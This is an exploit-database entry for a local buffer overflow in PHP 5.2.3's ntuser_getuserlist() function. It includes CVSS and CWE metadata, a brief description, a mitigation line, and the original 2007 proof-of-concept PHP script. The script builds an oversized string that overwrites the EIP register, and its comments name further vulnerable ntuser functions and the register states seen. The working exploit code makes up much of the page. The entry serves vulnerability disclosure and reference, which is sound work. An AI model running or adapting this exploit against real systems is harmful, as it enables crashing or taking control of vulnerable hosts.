PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow

vendor:

PHP

by:

shinnai

7.5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: PHP

Affected Version From: PHP 5.2.3

Affected Version To: PHP 5.2.3

Patch Exists: NO

Related CWE:

CPE: a:php:php:5.2.3

Metasploit:

Other Scripts:

Platforms Tested:

2007

PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow

The exploit takes advantage of a buffer overflow vulnerability in the php_ntuser ntuser_getuserlist() function in PHP 5.2.3. By providing a specially crafted input, an attacker can overwrite the EIP register with arbitrary data, potentially allowing for remote code execution.

Mitigation:

Upgrade to a non-vulnerable version of PHP or apply relevant patches provided by the vendor.

Source

Exploit-DB raw data:

<?php
//PHP 5.2.3 php_ntuser ntuser_getuserlist() Local Buffer Overflow
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//greetz to BrainBugger Crew
//http://www.brainbugger.altervista.org/

//Bug discovered with "Footzo" (thanks to rgod) modified.

//To download Footzo:
//original link: http://godr.altervista.org/index.php?mod=Download/useful_tools#footzo.rar
//alternative: http://www.shinnai.altervista.org/index.php?mod=Download/Utilities#footzo.rar

//also theese are vulnerable:
//ntuser_getusergroups <-- DoS, we control EAX
//ntuser_getdomaincontroller <-- DoS, we control EAX
//ntuser_getuserinfo <-- BoF, we control EIP 00410041

//This is the content of registers:

//EAX FFFFFFFE
//ECX 00000754
//EDX 00000041
//EBX 00223D18
//ESP 00C0FB34 UNICODE "CCC... x 100"
//EBP 00C0FBD0 UNICODE "CCC + DDD... x 100"
//ESI 011AC4A8
//EDI 011ADC00
//EIP 00410041

$buff    = str_repeat("\x41", 250);

$get_EIP = "\x42\x42";

$get_ESP = str_repeat("\x43", 100);

$get_EBP = str_repeat("\x44", 100);

ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP);
?>

# milw0rm.com [2007-08-23]